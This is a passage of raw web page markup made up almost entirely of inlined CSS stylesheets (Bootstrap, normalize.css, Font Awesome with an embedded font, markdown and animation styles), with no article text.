* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}.text-muted{color:#777}ul{margin-top:0;margin-bottom:10px}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}@media(min-width:768px){}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}</style>
|
||||
<style>/*!
|
||||
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,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 truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}blockquote{font-size:13px}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-name,.hljs-tag{color:#00f}.hljs-string{color:#a31515}.hljs-attr{color:red}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body strong{font-weight:600}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h2{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body blockquote{margin:0;padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body blockquote,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes 